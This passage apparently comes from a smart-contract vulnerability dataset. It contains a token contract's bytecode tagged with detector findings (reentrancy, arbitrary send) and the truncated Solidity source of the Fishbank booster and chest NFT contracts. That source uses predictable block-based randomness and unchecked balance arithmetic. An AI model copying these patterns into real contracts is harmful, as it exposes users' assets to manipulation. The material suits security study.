565b602060405180830381600087803b158015610bc757600080fd5b505af1158015610bdb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bff91906129f5565b5050565b60006009905090565b610c1461128d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ca1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9890612f2e565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b610cc661128d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4a90612f2e565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610def61128d565b73ffffffffffffffffffffffffffffffffffffffff1614610e0f57600080fd5b6000479050610e1d81611c83565b50565b6000610e6a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cef565b9050919050565b610e7961128d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610efd90612f2e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600281526020017f4f4f000000000000000000000000000000000000000000000000000000000000815250905090565b600061103e61103761128d565b8484611460565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661108961128d565b73ffffffffffffffffffffffffffffffffffffffff16146110a957600080fd5b60006110b430610e20565b90506110bf81611d5d565b50565b6110ca61128d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611157576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114e90612f2e565b60405180910390fd5b6000811161119a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119190612eee565b60405180910390fd5b6111c460646111b683633b9aca0061205790919063ffffffff16565b6120d290919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f546040516111fb9190612fce565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611305576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112fc90612f8e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611375576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136c90612eae565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114539190612fce565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c790612f6e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611540576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153790612e4e565b60405180910390fd5b60008111611583576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157a90612f4e565b60405180910390fd5b61158b610fc4565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115f957506115c9610fc4565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b5c57600e60179054906101000a900460ff161561182c573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561167b57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116d55750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561172f5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561182b57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661177561128d565b73ffffffffffffffffffffffffffffffffffffffff1614806117eb5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117d361128d565b73ffffffffffffffffffffffffffffffffffffffff16145b61182a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182190612fae565b60405180910390fd5b5b5b600f5481111561183b57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118df5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118e857600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119935750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119e95750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a015750600e60179054906101000a900460ff165b15611aa25742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a5157600080fd5b601e42611a5e9190613104565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611aad30610e20565b9050600e60159054906101000a900460ff16158015611b1a5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b325750600e60169054906101000a900460ff165b15611b5a57611b4081611d5d565b60004790506000811115611b5857611b5747611c83565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c035750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c0d57600090505b611c198484848461211c565b50505050565b6000838311158290611c67576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c5e9190612e2c565b60405180910390fd5b5060008385611c7691906131e5565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611ceb573d6000803e3d6000fd5b5050565b6000600654821115611d36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2d90612e8e565b60405180910390fd5b6000611d40612149565b9050611d5581846120d290919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dbb577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611de95781602001602082028036833780820191505090505b5090503081600081518110611e27577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ec957600080fd5b505afa158015611edd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f01919061289b565b81600181518110611f3b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fa230600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611295565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612006959493929190612fe9565b600060405180830381600087803b15801561202057600080fd5b505af1158015612034573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561206a57600090506120cc565b60008284612078919061318b565b9050828482612087919061315a565b146120c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120be90612f0e565b60405180910390fd5b809150505b92915050565b600061211483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612174565b905092915050565b8061212a576121296121d7565b5b612135848484612208565b80612143576121426123d3565b5b50505050565b60008060006121566123e5565b9150915061216d81836120d290919063ffffffff16565b9250505090565b600080831182906121bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121b29190612e2c565b60405180910390fd5b50600083856121ca919061315a565b9050809150509392505050565b60006008541480156121eb57506000600954145b156121f557612206565b600060088190555060006009819055505b565b60008060008060008061221a87612438565b95509550955095509550955061227886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124a090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061230d85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ea90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061235981612548565b6123638483612605565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123c09190612fce565b60405180910390a3505050505050505050565b6000600881905550600f600981905550565b600080600060065490506000633b9aca009050612411633b9aca006006546120d290919063ffffffff16565b82101561242b57600654633b9aca00935093505050612434565b81819350935050505b9091565b60008060008060008060008060006124558a60085460095461263f565b9250925092506000612465612149565b905060008060006124788e8787876126d5565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124e283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c1f565b905092915050565b60008082846124f99190613104565b90508381101561253e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161253590612ece565b60405180910390fd5b8091505092915050565b6000612552612149565b90506000612569828461205790919063ffffffff16565b90506125bd81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ea90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61261a826006546124a090919063ffffffff16565b600681905550612635816007546124ea90919063ffffffff16565b6007819055505050565b60008060008061266b606461265d888a61205790919063ffffffff16565b6120d290919063ffffffff16565b905060006126956064612687888b61205790919063ffffffff16565b6120d290919063ffffffff16565b905060006126be826126b0858c6124a090919063ffffffff16565b6124a090919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126ee858961205790919063ffffffff16565b90506000612705868961205790919063ffffffff16565b9050600061271c878961205790919063ffffffff16565b905060006127458261273785876124a090919063ffffffff16565b6124a090919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061277161276c84613083565b61305e565b9050808382526020820190508285602086028201111561279057600080fd5b60005b858110156127c057816127a688826127ca565b845260208401935060208301925050600181019050612793565b5050509392505050565b6000813590506127d9816136c1565b92915050565b6000815190506127ee816136c1565b92915050565b600082601f83011261280557600080fd5b813561281584826020860161275e565b91505092915050565b60008135905061282d816136d8565b92915050565b600081519050612842816136d8565b92915050565b600081359050612857816136ef565b92915050565b60008151905061286c816136ef565b92915050565b60006020828403121561288457600080fd5b6000612892848285016127ca565b91505092915050565b6000602082840312156128ad57600080fd5b60006128bb848285016127df565b91505092915050565b600080604083850312156128d757600080fd5b60006128e5858286016127ca565b92505060206128f6858286016127ca565b9150509250929050565b60008060006060848603121561291557600080fd5b6000612923868287016127ca565b9350506020612934868287016127ca565b925050604061294586828701612848565b9150509250925092565b6000806040838503121561296257600080fd5b6000612970858286016127ca565b925050602061298185828601612848565b9150509250929050565b60006020828403121561299d57600080fd5b600082013567ffffffffffffffff8111156129b757600080fd5b6129c3848285016127f4565b91505092915050565b6000602082840312156129de57600080fd5b60006129ec8482850161281e565b91505092915050565b600060208284031215612a0757600080fd5b6000612a1584828501612833565b91505092915050565b600060208284031215612a3057600080fd5b6000612a3e84828501612848565b91505092915050565b600080600060608486031215612a5c57600080fd5b6000612a6a8682870161285d565b9350506020612a7b8682870161285d565b9250506040612a8c8682870161285d565b9150509250925092565b6000612aa28383612aae565b60208301905092915050565b612ab781613219565b82525050565b612ac681613219565b82525050565b6000612ad7826130bf565b612ae181856130e2565b9350612aec836130af565b8060005b83811015612b1d578151612b048882612a96565b9750612b0f836130d5565b925050600181019050612af0565b5085935050505092915050565b612b338161322b565b82525050565b612b428161326e565b82525050565b6000612b53826130ca565b612b5d81856130f3565b9350612b6d818560208601613280565b612b76816133ba565b840191505092915050565b6000612b8e6023836130f3565b9150612b99826133cb565b604082019050919050565b6000612bb1601a836130f3565b9150612bbc8261341a565b602082019050919050565b6000612bd4602a836130f3565b9150612bdf82613443565b604082019050919050565b6000612bf76022836130f3565b9150612c0282613492565b604082019050919050565b6000612c1a601b836130f3565b9150612c25826134e1565b602082019050919050565b6000612c3d601d836130f3565b9150612c488261350a565b602082019050919050565b6000612c606021836130f3565b9150612c6b82613533565b604082019050919050565b6000612c836020836130f3565b9150612c8e82613582565b602082019050919050565b6000612ca66029836130f3565b9150612cb1826135ab565b604082019050919050565b6000612cc96025836130f3565b9150612cd4826135fa565b604082019050919050565b6000612cec6024836130f3565b9150612cf782613649565b604082019050919050565b6000612d0f6011836130f3565b9150612d1a82613698565b602082019050919050565b612d2e81613257565b82525050565b612d3d81613261565b82525050565b6000602082019050612d586000830184612abd565b92915050565b6000604082019050612d736000830185612abd565b612d806020830184612abd565b9392505050565b6000604082019050612d9c6000830185612abd565b612da96020830184612d25565b9392505050565b600060c082019050612dc56000830189612abd565b612dd26020830188612d25565b612ddf6040830187612b39565b612dec6060830186612b39565b612df96080830185612abd565b612e0660a0830184612d25565b979650505050505050565b6000602082019050612e266000830184612b2a565b92915050565b60006020820190508181036000830152612e468184612b48565b905092915050565b60006020820190508181036000830152612e6781612b81565b9050919050565b60006020820190508181036000830152612e8781612ba4565b9050919050565b60006020820190508181036000830152612ea781612bc7565b9050919050565b60006020820190508181036000830152612ec781612bea565b9050919050565b60006020820190508181036000830152612ee781612c0d565b9050919050565b60006020820190508181036000830152612f0781612c30565b9050919050565b60006020820190508181036000830152612f2781612c53565b9050919050565b60006020820190508181036000830152612f4781612c76565b9050919050565b60006020820190508181036000830152612f6781612c99565b9050919050565b60006020820190508181036000830152612f8781612cbc565b9050919050565b60006020820190508181036000830152612fa781612cdf565b9050919050565b60006020820190508181036000830152612fc781612d02565b9050919050565b6000602082019050612fe36000830184612d25565b92915050565b600060a082019050612ffe6000830188612d25565b61300b6020830187612b39565b818103604083015261301d8186612acc565b905061302c6060830185612abd565b6130396080830184612d25565b9695505050505050565b60006020820190506130586000830184612d34565b92915050565b6000613068613079565b905061307482826132b3565b919050565b6000604051905090565b600067ffffffffffffffff82111561309e5761309d61338b565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061310f82613257565b915061311a83613257565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561314f5761314e61332d565b5b828201905092915050565b600061316582613257565b915061317083613257565b9250826131805761317f61335c565b5b828204905092915050565b600061319682613257565b91506131a183613257565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131da576131d961332d565b5b828202905092915050565b60006131f082613257565b91506131fb83613257565b92508282101561320e5761320d61332d565b5b828203905092915050565b600061322482613237565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061327982613257565b9050919050565b60005b8381101561329e578082015181840152602081019050613283565b838111156132ad576000848401525b50505050565b6132bc826133ba565b810181811067ffffffffffffffff821117156132db576132da61338b565b5b80604052505050565b60006132ef82613257565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133225761332161332d565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136ca81613219565b81146136d557600080fd5b50565b6136e18161322b565b81146136ec57600080fd5b50565b6136f881613257565b811461370357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122096e9e3443f3ef6d30629e0803e55ac4c5278050662cabb098b5449e98c09312e64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,672 |
0x96e666c387b1d25b490a33cdb5a32b8a1f91d3b6 | pragma solidity ^0.4.18;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract FishbankBoosters is Ownable {
struct Booster {
address owner;
uint32 duration;
uint8 boosterType;
uint24 raiseValue;
uint8 strength;
uint32 amount;
}
Booster[] public boosters;
bool public implementsERC721 = true;
string public name = "Fishbank Boosters";
string public symbol = "FISHB";
mapping(uint256 => address) public approved;
mapping(address => uint256) public balances;
address public fishbank;
address public chests;
address public auction;
modifier onlyBoosterOwner(uint256 _tokenId) {
require(boosters[_tokenId].owner == msg.sender);
_;
}
modifier onlyChest() {
require(chests == msg.sender);
_;
}
function FishbankBoosters() public {
//nothing yet
}
//mints the boosters can only be called by owner. could be a smart contract
function mintBooster(address _owner, uint32 _duration, uint8 _type, uint8 _strength, uint32 _amount, uint24 _raiseValue) onlyChest public {
boosters.length ++;
Booster storage tempBooster = boosters[boosters.length - 1];
tempBooster.owner = _owner;
tempBooster.duration = _duration;
tempBooster.boosterType = _type;
tempBooster.strength = _strength;
tempBooster.amount = _amount;
tempBooster.raiseValue = _raiseValue;
Transfer(address(0), _owner, boosters.length - 1);
}
function setFishbank(address _fishbank) onlyOwner public {
fishbank = _fishbank;
}
function setChests(address _chests) onlyOwner public {
if (chests != address(0)) {
revert();
}
chests = _chests;
}
function setAuction(address _auction) onlyOwner public {
auction = _auction;
}
function getBoosterType(uint256 _tokenId) view public returns (uint8 boosterType) {
boosterType = boosters[_tokenId].boosterType;
}
function getBoosterAmount(uint256 _tokenId) view public returns (uint32 boosterAmount) {
boosterAmount = boosters[_tokenId].amount;
}
function getBoosterDuration(uint256 _tokenId) view public returns (uint32) {
if (boosters[_tokenId].boosterType == 4 || boosters[_tokenId].boosterType == 2) {
return boosters[_tokenId].duration + boosters[_tokenId].raiseValue * 60;
}
return boosters[_tokenId].duration;
}
function getBoosterStrength(uint256 _tokenId) view public returns (uint8 strength) {
strength = boosters[_tokenId].strength;
}
function getBoosterRaiseValue(uint256 _tokenId) view public returns (uint24 raiseValue) {
raiseValue = boosters[_tokenId].raiseValue;
}
//ERC721 functionality
//could split this to a different contract but doesn't make it easier to read
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
function totalSupply() public view returns (uint256 total) {
total = boosters.length;
}
function balanceOf(address _owner) public view returns (uint256 balance){
balance = balances[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address owner){
owner = boosters[_tokenId].owner;
}
function _transfer(address _from, address _to, uint256 _tokenId) internal {
require(boosters[_tokenId].owner == _from);
//can only transfer if previous owner equals from
boosters[_tokenId].owner = _to;
approved[_tokenId] = address(0);
//reset approved of fish on every transfer
balances[_from] -= 1;
//underflow can only happen on 0x
balances[_to] += 1;
//overflows only with very very large amounts of fish
Transfer(_from, _to, _tokenId);
}
function transfer(address _to, uint256 _tokenId) public
onlyBoosterOwner(_tokenId) //check if msg.sender is the owner of this fish
returns (bool)
{
_transfer(msg.sender, _to, _tokenId);
//after master modifier invoke internal transfer
return true;
}
function approve(address _to, uint256 _tokenId) public
onlyBoosterOwner(_tokenId)
{
approved[_tokenId] = _to;
Approval(msg.sender, _to, _tokenId);
}
function transferFrom(address _from, address _to, uint256 _tokenId) public returns (bool) {
require(approved[_tokenId] == msg.sender || msg.sender == fishbank || msg.sender == auction);
//require msg.sender to be approved for this token or to be the fishbank contract
_transfer(_from, _to, _tokenId);
//handles event, balances and approval reset
return true;
}
function takeOwnership(uint256 _tokenId) public {
require(approved[_tokenId] == msg.sender);
_transfer(ownerOf(_tokenId), msg.sender, _tokenId);
}
}
contract FishbankChests is Ownable {
struct Chest {
address owner;
uint16 boosters;
uint16 chestType;
uint24 raiseChance;//Increace chance to catch bigger chest (1 = 1:10000)
uint8 onlySpecificType;
uint8 onlySpecificStrength;
uint24 raiseStrength;
}
Chest[] public chests;
FishbankBoosters public boosterContract;
mapping(uint256 => address) public approved;
mapping(address => uint256) public balances;
mapping(address => bool) public minters;
modifier onlyChestOwner(uint256 _tokenId) {
require(chests[_tokenId].owner == msg.sender);
_;
}
modifier onlyMinters() {
require(minters[msg.sender]);
_;
}
function FishbankChests(address _boosterAddress) public {
boosterContract = FishbankBoosters(_boosterAddress);
}
function addMinter(address _minter) onlyOwner public {
minters[_minter] = true;
}
function removeMinter(address _minter) onlyOwner public {
minters[_minter] = false;
}
//create a chest
function mintChest(address _owner, uint16 _boosters, uint24 _raiseStrength, uint24 _raiseChance, uint8 _onlySpecificType, uint8 _onlySpecificStrength) onlyMinters public {
chests.length++;
chests[chests.length - 1].owner = _owner;
chests[chests.length - 1].boosters = _boosters;
chests[chests.length - 1].raiseStrength = _raiseStrength;
chests[chests.length - 1].raiseChance = _raiseChance;
chests[chests.length - 1].onlySpecificType = _onlySpecificType;
chests[chests.length - 1].onlySpecificStrength = _onlySpecificStrength;
Transfer(address(0), _owner, chests.length - 1);
}
function convertChest(uint256 _tokenId) onlyChestOwner(_tokenId) public {
Chest memory chest = chests[_tokenId];
uint16 numberOfBoosters = chest.boosters;
if (chest.onlySpecificType != 0) {//Specific boosters
if (chest.onlySpecificType == 1 || chest.onlySpecificType == 3) {
boosterContract.mintBooster(msg.sender, 2 days, chest.onlySpecificType, chest.onlySpecificStrength, chest.boosters, chest.raiseStrength);
} else if (chest.onlySpecificType == 5) {//Instant attack
boosterContract.mintBooster(msg.sender, 0, 5, 1, chest.boosters, chest.raiseStrength);
} else if (chest.onlySpecificType == 2) {//Freeze
uint32 freezeTime = 7 days;
if (chest.onlySpecificStrength == 2) {
freezeTime = 14 days;
} else if (chest.onlySpecificStrength == 3) {
freezeTime = 30 days;
}
boosterContract.mintBooster(msg.sender, freezeTime, 5, chest.onlySpecificType, chest.boosters, chest.raiseStrength);
} else if (chest.onlySpecificType == 4) {//Watch
uint32 watchTime = 12 hours;
if (chest.onlySpecificStrength == 2) {
watchTime = 48 hours;
} else if (chest.onlySpecificStrength == 3) {
watchTime = 3 days;
}
boosterContract.mintBooster(msg.sender, watchTime, 4, chest.onlySpecificStrength, chest.boosters, chest.raiseStrength);
}
} else {//Regular chest
for (uint8 i = 0; i < numberOfBoosters; i ++) {
uint24 random = uint16(keccak256(block.coinbase, block.blockhash(block.number - 1), i, chests.length)) % 1000
- chest.raiseChance;
//get random 0 - 9999 minus raiseChance
if (random > 850) {
boosterContract.mintBooster(msg.sender, 2 days, 1, 1, 1, chest.raiseStrength); //Small Agility Booster
} else if (random > 700) {
boosterContract.mintBooster(msg.sender, 7 days, 2, 1, 1, chest.raiseStrength); //Small Freezer
} else if (random > 550) {
boosterContract.mintBooster(msg.sender, 2 days, 3, 1, 1, chest.raiseStrength); //Small Power Booster
} else if (random > 400) {
boosterContract.mintBooster(msg.sender, 12 hours, 4, 1, 1, chest.raiseStrength); //Tiny Watch
} else if (random > 325) {
boosterContract.mintBooster(msg.sender, 48 hours, 4, 2, 1, chest.raiseStrength); //Small Watch
} else if (random > 250) {
boosterContract.mintBooster(msg.sender, 2 days, 1, 2, 1, chest.raiseStrength); //Mid Agility Booster
} else if (random > 175) {
boosterContract.mintBooster(msg.sender, 14 days, 2, 2, 1, chest.raiseStrength); //Mid Freezer
} else if (random > 100) {
boosterContract.mintBooster(msg.sender, 2 days, 3, 2, 1, chest.raiseStrength); //Mid Power Booster
} else if (random > 80) {
boosterContract.mintBooster(msg.sender, 2 days, 1, 3, 1, chest.raiseStrength); //Big Agility Booster
} else if (random > 60) {
boosterContract.mintBooster(msg.sender, 30 days, 2, 3, 1, chest.raiseStrength); //Big Freezer
} else if (random > 40) {
boosterContract.mintBooster(msg.sender, 2 days, 3, 3, 1, chest.raiseStrength); //Big Power Booster
} else if (random > 20) {
boosterContract.mintBooster(msg.sender, 0, 5, 1, 1, 0); //Instant Attack
} else {
boosterContract.mintBooster(msg.sender, 3 days, 4, 3, 1, 0); //Gold Watch
}
}
}
_transfer(msg.sender, address(0), _tokenId); //burn chest
}
//ERC721 functionality
//could split this to a different contract but doesn't make it easier to read
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
function totalSupply() public view returns (uint256 total) {
total = chests.length;
}
function balanceOf(address _owner) public view returns (uint256 balance){
balance = balances[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address owner){
owner = chests[_tokenId].owner;
}
function _transfer(address _from, address _to, uint256 _tokenId) internal {
require(chests[_tokenId].owner == _from); //can only transfer if previous owner equals from
chests[_tokenId].owner = _to;
approved[_tokenId] = address(0); //reset approved of fish on every transfer
balances[_from] -= 1; //underflow can only happen on 0x
balances[_to] += 1; //overflows only with very very large amounts of fish
Transfer(_from, _to, _tokenId);
}
function transfer(address _to, uint256 _tokenId) public
onlyChestOwner(_tokenId) //check if msg.sender is the owner of this fish
returns (bool)
{
_transfer(msg.sender, _to, _tokenId);
//after master modifier invoke internal transfer
return true;
}
function approve(address _to, uint256 _tokenId) public
onlyChestOwner(_tokenId)
{
